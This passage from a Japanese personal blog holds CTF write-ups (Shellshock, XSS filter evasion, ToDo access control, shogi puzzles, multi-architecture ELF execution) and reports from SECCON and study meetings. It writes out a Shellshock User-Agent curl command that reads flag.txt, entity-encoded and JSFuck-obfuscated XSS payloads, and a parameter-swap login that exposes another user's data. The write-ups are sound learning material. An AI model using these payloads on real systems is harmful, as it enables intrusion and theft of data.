    if( abs(table[j] -j) > 2 )goto i7e;
  }


  for(j=0;j<9;j++){
   if(ampt[i8][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,8,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 1 )goto i8e;
  }


  for(j=0;j<9;j++){
   //printf("Debug:%d %d %d len:%d\n",i9,j,ampt[i9][j],strlen(answer));
   //printf("%d %d %d %d %d %d %d %d %d \n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
   if(ampt[i9][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,9,j);
   }
  }

  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
  //printf("Debug: %d %d %d %d %d %d %d %d %d %d\n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
  //答え合わせ
  for(j=0; ylimit >= j ;j++){
    if( table[j] != j ){
      flag=1;
    }
  }
  if(flag==0)printf("%s\n",answer);

 //}}}}}}}}}}
 i9e:
 continue;
}
 i8e:
 continue;
}
 i7e:
 continue;
}
 i6e:
 continue;
}
 i5e:
 continue;
}
 i4e:
 continue;
}
 i3e:
 continue;
}
 i2e:
 continue;
}
 i1e:
 continue;
}
 i0e:
 continue;
}

}

これで実行しても62通りの解答は出ないのだけれど(たぶん、ソースのどこかがおかしい)、ランダムに出す方と組み合わせて62通りを達成した。

Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q}

191 超文書転送術 GIFアニメ生成サイト

http://yamatoctf:qw8P3j40wEWTK2sRDXs4@210.146.64.47/


GIFアニメが生成されるサイト

アップロードするごとに番号が付与される。
1番最初に登録されたものを探すと答えが見つかる。

ただし画像のリンク元が解らないようになっている。
ファイルアップロードする際の動きを、Chromeのデベロッパーツールで見てみるとリンク元が解る。

191.png

という訳で、FLAGは以下のリンク先にある。

http://210.146.64.47/movies/newgif/1

こんなのがある

191.gif

一瞬ちらっとFLAGがw

答えを見るにはアニメgifファイルを分解する方法もあるけど、目押しでスクリーンショットを取る方法で対応した。

flag={H0WdoUpronunceGIF?}

192 超文書転送術 Network Tools

京の都を荒らしまわっていた伊士川御得門であるが、後継者の育成をどうするか悩んでいた。手下達の情報技術を磨かせるべく、無償で利用できる学習サービスを探すことにした。たまたま手頃なものが見つかったのだが、サイトのセキュリティが怪しいように思われる。問題ないだろうか?
http://210.146.64.37:60888/


ヒントについて

About の所を見てみよう。
なんかヒントがあるみたい。

About This Site
Since 2000 we Have offered some Effective training courses , which cover network, Linux, web applications and related Licenses, to Students in worldwide. Hopefully Our services help you understand the Core Knowlegde of technologies.
NOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE!

文中の不自然な箇所が英大文字になっています。抜き出してみましょう。

SHELLSHOCK

シェルショックだー!

SHELLSHOCK

USERAGENTの編集が必要。Fiddlerとかを使ってもいいと思うんだけど、curlコマンドでやると楽。

$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/ls' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    flag.txt<br />

    logs<br />

    logs.py<br />

    myapp.cgi<br />

    nwtools.py<br />

    static<br />

    templates<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>
$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/cat flag.txt' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    flag={Update bash to the latest version!}<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>

flag={Update bash to the latest version!}

193 超文書転送術 箱庭XSS

193-hakoniwa-xss-package-q1.zip


伝説の箱庭XSSでございます。

OWASPさんの力を借りました。

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

上から順々に入力していって~

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

これでいけた。

194 超文書転送術 YamaToDo

これはマルチエンコーディングに対応したToDoサービスです。
このサービスの利用者である「yamato」は、大事な情報もToDoに記録する癖があるようです。あなたは、彼の大事な情報を盗み見ることはできますか?

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/yamatodo-1bd17c15b05b2ab254a8d8deebcc7430.tar.gz
(sqlmap等を使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


まず、任意のユーザとパスワードを作って登録しましょう。
私は以下で作っておきました。

  • id:kanata
  • pass:test

まず以下を実行してログイン

$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=kanata" -d "password=test" "http://210.146.64.44/"

それで、ユーザ名だけyamatoに変えてもう一回実行

ログイン認証をcookieで行ってますが、TODOの表示をするためのキーは、Webからの入力に頼っている事に起因した脆弱性・・・というか設計ミスみたいな感じですねw

$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=yamato" -d "password=test" "http://210.146.64.44/"
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>YamaToDo</title>

    <script src="/js/jquery-1.11.3.min.js"></script>
    <script src="/js/bootstrap.min.js"></script>

    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <link href="/css/theme.css" rel="stylesheet">
  </head>
  <body>
    <div class="container">
      <div class="jumbotron">
        <img src="/images/logo.png" alt="">
      </div>

            <div class="alert alert-danger alert-dismissible fade in" role="alert">
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
        Invalid param      </div>
            <div class="row">
        <form action="/?ie=UTF-8" method="post">
          <div class="input-group input-group-lg">
            <input type="text" name="body" class="form-control" placeholder="Enter the ToDo☆(ゝω・)v">
            <span class="input-group-btn">
              <input type="submit" class="btn btn-primary" value="New">
            </span>
          </div>
        </form>
      </div>

      <div class="row">
        <ul class="list-group">
                      <li class="list-group-item">
              <span class="badge">0000-00-00 00:00:00</span>
              ※ここに文字化けした文字列※            </li>
                      <li class="list-group-item">
              <span class="badge">0000-00-00 00:00:00</span>
              Yo! check the first todo☆(ゝω・)v            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:43:43</span>
              aaa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:43:45</span>
              aaa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:47:21</span>
              flag = mkafh98hwaofnaslh08y4830fjioafnlka            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 23:21:54</span>
              aawfwaef            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 23:43:20</span>
              afewa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:38:51</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:49:07</span>
              ’            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:50:05</span>
              ’            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:04</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:07</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:09</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:15:21</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:14</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:45</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:50</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:43:05</span>
              &lt;meta charset=&quot;utf-7&quot;&gt;            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:45:17</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-24 02:51:12</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:42:56</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:43:08</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:43:38</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-23 22:30:17</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-23 22:35:11</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&amp;#039;content-type&amp;#039; content+AD0-&amp;#039;text/html+ADs-charset+AD0-utf-7&amp;#039;+AD4-            </li>
                  </ul>
      </div>
    </div>
  </body>
</html>

TODOの1件目が文字化けしていますが、エンコードをEUCに変えると以下が見えます。

0000-00-00 00:00:00 半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}

195 超文書転送術 Yamatoo

検索エンジンのWebフロントエンドを作ったので、テストしてください。
データベースには機密データがあるので、WAFを導入しています。
あなたはその機密データを盗めないでしょう☆(ゝω・)v

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/yamatoo-f81d10a8b575f2d00542b61e6e8e6748.tar.gz
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


ギブアップ。'の入力でエラーになるので、SQLインジェクションが可能であることは解るんだけど、任意のSQL文を実行させようにも、
その後のngram関数が邪魔して、にっちもさっちもいかなかったのです。
教えてエロい人。。

196 超文書転送術 Yamatonote

Yamatonoteはすーぱりあるぱーふぇくとなセキュリティです☆(ゝω・)v
あなたは「yamato」からノートを盗めますか?

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/yamatonote-ad66cc20b9e0f0a3b726c47cfe297c59.tar.gz
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


ギブアップ。「195 超文書転送術 Yamatoo」も解けたらやろうと思ってたけど、解けてないからやらなかった。
教えてエロい人。。

197 超文書転送術 箱庭XSS 2

197-hakoniwa-xss-package-q2.zip


伝説の箱にはXSS その2でございます。

「193 超文書転送術 箱庭XSS」と同じ入力はもちろん受け付けてくれない。

でも、諦めちゃいけない。試す価値はある。「193 超文書転送術 箱庭XSS」で通った入力をjsFuckという方法でエンコードしてみる。

<img src=x onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()">

これでいけた。

201 兵法術 将棋詰め壱

201-shogi-100.jpg

詰将棋でござる。
フラグは4桁の数字でお願いします。

例:歩を一歩前に進めたい場合は、5556を入力して下さい。

(数字にご注意を!)


やるだけ。コンピュータの何かを利用しなくても解ける。
というか、詰将棋を解くソフト等を利用しても、想定解より多い手数になったりして、あまり有用ではなかった。

4769

202 兵法術 将棋詰め弐

202-shogi-200.jpg

フラグが14桁の数字でござる。

数字を間違ゑぬごとくご注意下され。
よくぞ拝見する人・よくぞ気付く人しか解けぬ問題でござる。


やるだけ。数字は、1個だけ罠があるので、気をつけなければならない。

解答メモってなかったらしく、わからんです。

203 兵法術 将棋詰め参

203-shogi-300.jpg

フラグは12桁の数字でござる。
玉の動きはフラグに含まれているでござる。


やるだけ。

545646455747

ちゃんとメモってなかったから、もしかしたら違うかも。

204 兵法術 将棋詰め四

204-shogi-400.jpg

フラグは20桁の数字でござる。
玉の動きはフラグに含まれているでござる。


やるだけ。

26364656776656453635

ちゃんとメモってなかったから、もしかしたら違うかも。

SECCON 2015 決勝大会・カンファレンスに行きました! (2 comments)

Added by kanata almost 5 years ago

スタッフの皆様、出場者の皆様、登壇者の皆様、お疲れ様でした。
見学してただけの身ですが、本当に楽しかったです!

1日目 intercollege決勝大会(学生大会)

20160130_seccon_1.jpg

会場に入るなり、目に飛び込んできた TomoriNao のインパクトwwww
写真は配慮してねとのことなので、お見せできないのが残念ですが、私の脳内メモリには強い衝撃と共に記録されました。
ちなみに私(が参加させて頂いたチーム)は、オンライン予選では、このコスプレ、もとい生徒会長の集団に惜敗しております。

実力は本物です。

決勝は、attack&defenceという競技ルールで実施しておりました。ゲームバランスというか、得点の仕組みが絶妙で最後まで混戦状態でした。

競技者が何してたのか、見学している所からは判然としませんでしたが、1つの脆弱性を見つけるとそれを全相手チーム対して攻撃を行うよう自動化していたようですね。

優勝は、

20160130_seccon_2.jpg

文部科学大臣賞受賞だそうです。すげぇ。

A Dozen Year of Shellphish

海外のハッキングチーム Shellphish が開発した angr というバイナリ解析フレームワークについて、デモも交えて発表しておりました。
いやこれ。。怖いわww

英語のリスニングは、あまり得意ではありませんが、私の理解を要約すると

  • 従来の Fuzzing は、すさまじい数の入力パターンを試さなければならず、効率的ではない。
  • そこでバイナリを解析し、分岐命令を元に木構造を作る。
  • 木構造を元に、入力値をやみくもに選択しないで、効率的に Fuzzing を行う。
  • 成功した Fuzzing のインプットとバイナリ解析した結果を元に、シェルコードまで生成できちゃう。
  • 以上を自動でできる。怖い。

この時使ったプレゼンテーションの資料
https://goo.gl/mi5UBv

angr は、OSSとして公開しています
https://github.com/angr/angr

面白いものがあった

20160130_seccon_3.jpg

そういえばオンライン予選で、これ使った問題が出てきてたな。。。
当時、そっ閉じしたけどww

2日目 international決勝大会(国際大会)

20160130_seccon_4.jpg

決勝大会は固唾を呑んで見守っておりました。
問題の概要を説明してもらったんですが、すげぇ難易度です。変態じゃないと解けないです。

優勝は韓国の Cykorkinesis
近年、韓国がすごく強いですね!

表彰式までは見学できなかったが、帰ってきてみると

TomoriNao が文部科学大臣賞を受賞してた。
この生徒会長達www
おめでとうございます。

基礎公演「つながるクルマのセキュリティ」

内部の制御プロトコルCANについての説明、それをハッキングする方法を、広島市立大学大学院 井上准教授が公演してくださいました。

CANについては、以下の知見が得られました。

  • データ長は短い 8Byte
  • 全てブロードキャスト
  • データ毎にCANIDというIDが付くが、ノードと1:1というよりかは、機能と1:1になる
  • 認証の仕組みはない
  • ビットが0の方が優先。なので、0x00000000 というデータが最優先になる
  • この最優先データを使えば、DOS攻撃が可能

クルマの制御、すごい楽しそう。

思い出

田中ザックさんにお願いして、一緒に写真写ってもらった。嬉しい。いい思い出です。

katagaitai CTF勉強会 - 関東|med に参加してきました (1 comment)

Added by kanata almost 5 years ago

場所は安定の、人員の許容量が宇宙ヤバい秋葉原UDXで開催

午前の部 trmrさん

Cryptoは、難しい。。けど、面白い!!
興味を持つきっかけになりました。

CTF的には、あらゆる暗号の脆弱性と、それを攻略するサンプルソースを収集しておくと最強という気がしてきた。

brute.c の使い道について

受講者諸氏のみなさんは、きっとご理解の事と思いますが、
そもそも初っ端でハマったりしたので、自分とそういう人のために解説するぞ!!!

最初、本題に入る前に

You must first solve a puzzle, a sha1 sum ending in 16 bit's set to 1, it must be of length 21 bytes, starting with 
rduKahJ1/q4QW1HR

とか言われるでしょ?これは

  • 21ByteのByte列をサーバに送信する
  • 上の場合、"rduKahJ1/q4QW1HR" から始まる21ByteのByte列にすること
  • このByte列のsha1ハッシュを生成した際、末尾16ビットは 0xffff になるようにすること
  • 17Byte目以降は、高い確率でASCII文字以外(バイナリ)になるので、当然 netcat じゃ遅れないぞ!netcatで頑張ってた君!無駄だったな!

20160123_katagaitaiCTF_yojigen.png

ご参考で頂いた brute.c は、答えを16進数で出力してくれますが、
これをバイナリにデコードして送信しないといけないので、netcat だと出来ないのです。
あくまでも、brute.cを参考にプログラミングしてねってことです。brute.cだけでは、この問題を突破できません。

という訳で、brute.c ですが、それをコンパイルして、実行します。

$ ./brute 'rduKahJ1/q4QW1HR'
7264754b61684a312f7134515731485297df000000

正解が16進数で得られます。サーバに送るのは、これを バイナリにしたもの です。
16文字目までは、rduKahJ1/q4QW1HR になってますよ。

rduKahJ1/q4QW1HR = 7264754b61684a312f71345157314852

$ echo "7264754b61684a312f71345157314852" |xxd -p -r
rduKahJ1/q4QW1HR

後半は、 97df000000 とかなってるでしょ?これは netcat から標準入力で入力できないというわけ。

いちおう、本当に要件通りの入力になっているか確認してみますか。

$ ./brute 'rduKahJ1/q4QW1HR'|xxd -p -r |sha1sum 
f7927aeeb5444e87a93cc6f6372b5a82e02effff  -

ふむ、ちゃんと末尾が 0xffffになってますなー。

本題に入る前に、こんな問いをしてくるのは、本題に対するブルートフォースやファジングを抑止する目的があるらしい。

午後の部 bataさん

いやいやいや、私がCTFで得点できないCryptoとPwnでしたが、だんだん解るようになってきましたね。。
ありがたいかぎりです。

ただ、解法まで辿り着くアイデアがスゴイので、こういうの整理したいところ。
(でもなかなか、整理するのが難しいんですよね。。)

特に後半の変態問題と、それを解いた変態解法がスゴイwwww
思わず笑うレベル。

おまけ

お昼は近場の岡むら屋で食べました。
スキヤキを煮詰めた何かがご飯にかかっているような感じ。濃い。

20160123_katagaitaiCTF_okamuraya.jpg

またまた
後援のNRIセキュアテクノロジーズさんから、謎の暗号が書いてあるハッカ飴を頂きました!
ありがとうございました。

Redmineでwikiの生データを抽出する

Added by kanata almost 5 years ago

wikiの加工前(MarkDown記法そのまま)のデータを取得するシェルスクリプトを書きました。
別の環境に移行する時や、うっかりwikiだけ消してしまった時の復旧などに便利。

実行するとカレントディレクトリにwiki毎にテキストファイルを吐くので、実行する場所は注意してください。wikiの記事数によるけど、いっぱいファイルが吐かれるよ!

詳細は、ALMinium を参照。

Let's Encrypt で無料SSL証明書を取得してみた

Added by kanata almost 5 years ago

ServersManのCentOS7で、Let's Encryptを利用して、無料SSL証明書を取得してみました。
詳細はServersManを参照。

これだとオレオレ証明書と違って、ブラウザで警告がでません!

katagaitai CTF勉強会 - 関東|hard に参加してきました (2 comments)

Added by kanata almost 5 years ago

場所は前回と同じ、人員の許容量が宇宙ヤバい秋葉原UDXで開催

午前の部 trmrさん

共通鍵暗号であるAESの内部をとてもわかりやすく説明してくれました。
AESは、フタを開けてみると、わかりやすい構造になってました。
今までブラックボックスとしか見ていなかったので、とても勉強になりました!!

しかし演習問題として解説してくれた [Ghost in the shellcode CTF 2013] Q20 - Subme の難易度の高さに笑った。
あんなん難しすぎるやろwww

ちなみに、以下が唯一のwriteupだそうです。
MSLC - Gits ctf 2013 Crypto 500

子育てお疲れ様です。

午後の部 bataさん

ほぼ4時間しゃべりっぱなしのbataさんお疲れ様でした。

初体験、ARMアーキテクチャのアセンブラを読む!ですが、exploitの基本的な原理はx86となんら変わらないので、話にはついていけましたよ!(解けるとは言っていない)
デバック環境の構築だけでもかなり有用でした。素敵な知見が沢山得られました。

特に、telnetを経由してバイナリを送り込んで、リモートで実行する一連の流れを自動化している実演を見たときは、感動致しました。
美しいですな~。

解法その2の方は、意味は解るんだけど、自力でそこに到達できる気がしなかったw
トップレベルの人はすごい事思いつくのね。。

20151220_katagaitaiCTF.jpg

おまけ

後援のNRIセキュアテクノロジーズさんから、謎の暗号が書いてあるハッカ飴を頂きました!
ありがとうございます。(ハッカーとハッカをかけたんですね)
暗号すごい気になるけど、場阿忍愚CTF中なので、ちょっとガマンしよう。。

20151220_katagaitaiCTF_NRIsecure1.jpg

裏面は、前回頂いたコースターと同じ感じかな?

20151220_katagaitaiCTF_NRIsecure2.jpg

SECCON 2015 Writeup

Added by kanata almost 5 years ago

CTF Writeup SECCON 2015

結果&感想

今回、チームsky3は、某チームに合流してSECCON2015に参加しました。
楽しかったです!!
ある程度人数がいると、閃きと気づきの総数が増えるので、単独では解けなかった問題が、チームの皆さんの手により、あれよあれよという間に解かれていきました。

あと相変わらず、メンバーの c@tさん, リリりん♪さんは、スゴかったです。

チーム名公表していいかわからないので、とりあえず伏せておきますが、ランキングは出場チーム上位3%に入っていることを申し添えておきます。

いちおう300点分獲得できたので、その問題について、writeup書きました。
チームメンバが解いた問題のwriteupも、了解が取れれば合わせて公開するやも。

Individual Elebin

問題

すべてのELFファイルを実行せよ
Individual_Elebin.zip

中身は、1.bin … 11.bin が入っている。


とりあえず定番のfileコマンド

$ file ./*
./1.bin:  ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped
./10.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
./11.bin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
./2.bin:  ELF 32-bit MSB executable, MC68HC11, version 1 (SYSV), statically linked, stripped
./3.bin:  ELF 32-bit LSB executable, NEC v850, version 1 (SYSV), statically linked, stripped
./4.bin:  ELF 32-bit MSB executable, Renesas M32R, version 1 (SYSV), statically linked, stripped
./5.bin:  ELF 64-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
./6.bin:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
./7.bin:  ELF 32-bit LSB executable, Motorola RCE, version 1 (SYSV), statically linked, stripped
./8.bin:  ELF 32-bit LSB executable, Axis cris, version 1 (SYSV), statically linked, stripped
./9.bin:  ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, stripped

どう見ても、CPUアーキテクチャ別のELFファイルです。本当にありがとうございました。

・・・がんばって実行するぞ!!

実行するための方法

以下の4つの方法で実行します。

そのまま普通に実行

1.bin だけは x86 なのでそのまま実行できますね。

$ ./1.bin 
SECCON{AaA

クロスコンパイル環境 gdb を使う

自分のPCのCPUアーキテクチャ以外は、クロスコンパイル環境を使って実行するのがよいでしょう。
ただし、1からコンパイルを始めると競技時間内に終わりません。
予め、コンパイル済みの環境を準備しておくしかありません。

そこで!!!1

kozosの坂井さんの力をお借りします。

cross-gcc4-20130826.zip をインストール済みのCentOS6.5イメージ (OVAフォーマット)
FreeBSDのVirtualBox用イメージを,OVAフォーマットにしたもの

ここの仮想環境を使わせて頂きます。
ちなみに坂井さんの著作はバイナリアン必見の良書揃いです!

ももいろテクノロジー 各種アーキテクチャのクロスコンパイラ環境を構築するも大変参考になります。

さて、坂井さんのCentOS6.5を起動して、クロスコンパイルの環境を確認してみます。

$ pwd
/usr/local/cross-gcc4/bin
$ ls *gdb
arm-elf-gdb   cris-elf-gdb   m32c-elf-gdb        mips16-elf-gdb   powerpc-elf-gdb  sh64-elf-gdb   v850-elf-gdb
avr-elf-gdb   frv-elf-gdb    m32r-elf-gdb        mips-elf-gdb     rl78-elf-gdb     sh-elf-gdb
bfin-elf-gdb  h8300-elf-gdb  microblaze-elf-gdb  mn10300-elf-gdb  rx-elf-gdb       sparc-elf-gdb

いろんなCPU用に用意されているのがわかります。

CPUアーキテクチャの違うバイナリでも、staticリンクのバイナリであれば、各CPUアーキテクチャ用のgdbで実行できます。

gdb起動後は、

target sim
load 
run

の順に入力して実行します。

$ ./arm-elf-gdb /tmp/Individual_Elebin/10.bin
GNU gdb (GDB) 7.5.1
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=i686-pc-linux-gnu --target=arm-elf".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /tmp/Individual_Elebin/10.bin...(no debugging symbols found)...done.
(gdb) target sim
Connected to the simulator.
(gdb) load
Loading section .text, size 0x848 vma 0x1400
Loading section .rodata, size 0xe4 vma 0x1c48
Loading section .data, size 0x4 vma 0x2000
Start address 0x1400
Transfer rate: 18816 bits in <1 sec.
(gdb) run
Starting program: /tmp/Individual_Elebin/10.bin 
8a0d28f[Inferior 1 (process 42000) exited normally]
(gdb) quit

ちょっと判りにくいかもしれませんが、8a0d28f が表示されてます。

クロスコンパイル環境 run を使う

ぶっちゃけ、実行だけならgdbより、こっちの方が楽です。

$ pwd
/usr/local/cross-gcc4/bin
$ ls *run
arm-elf-run   cr16-elf-run  h8300-elf-run  microblaze-elf-run  mn10300-elf-run  rx-elf-run    sparc-elf-run
avr-elf-run   cris-elf-run  m32c-elf-run   mips16-elf-run      powerpc-elf-run  sh64-elf-run  v850-elf-run
bfin-elf-run  frv-elf-run   m32r-elf-run   mips-elf-run        rl78-elf-run     sh-elf-run
$ ./v850-elf-run /tmp/Individual_Elebin/3.bin 
i
$ ./m32r-elf-run /tmp/Individual_Elebin/4.bin 
N
$ ./sh64-elf-run /tmp/Individual_Elebin/5.bin 
12345678
$ ./sparc-elf-run /tmp/Individual_Elebin/6.bin 
90abcdef
$ ./cris-elf-run /tmp/Individual_Elebin/8.bin 
AW
$ ./avr-elf-run /tmp/Individual_Elebin/9.bin 
3a5d37a3
$ ./arm-elf-run /tmp/Individual_Elebin/10.bin 
8a0d28f
$ ./mips16-elf-run /tmp/Individual_Elebin/11.bin 
aAq}

2.bin と 7.binが実行できずに残ってしまいましたが、坂井さんが提供してくださっているFreeBSDの方に該当のCPUアーキテクチャのクロスコンパイル環境が入っています。

$ ./m6811-elf-run /tmp/Individual_Elebin/2.bin 
B
$ ./mcore-elf-run /tmp/Individual_Elebin/7.bin 
BDFHJLNP

qemuを使う

qemuを使う方法もあります。
Ubuntu とか Debian とか Kali Linux で、以下実施してqemuインストール

# apt-get install qemu-user-static

/usr/bin 配下に qemu-[CPU arch]-static が出来るので、それを実行する。
例はこんな感じ。cpuのチップセット(?)を指定するのがコツ。

# ./qemu-cris-static -cpu help /tmp/Individual_Elebin/8.bin 
Available CPUs:
  crisv8
  crisv9
  crisv10
  crisv11
  crisv32
# ./qemu-cris-static -cpu crisv8 /tmp/Individual_Elebin/8.bin 
AW

答え

実行結果を全部くっつけるとフラグになります。

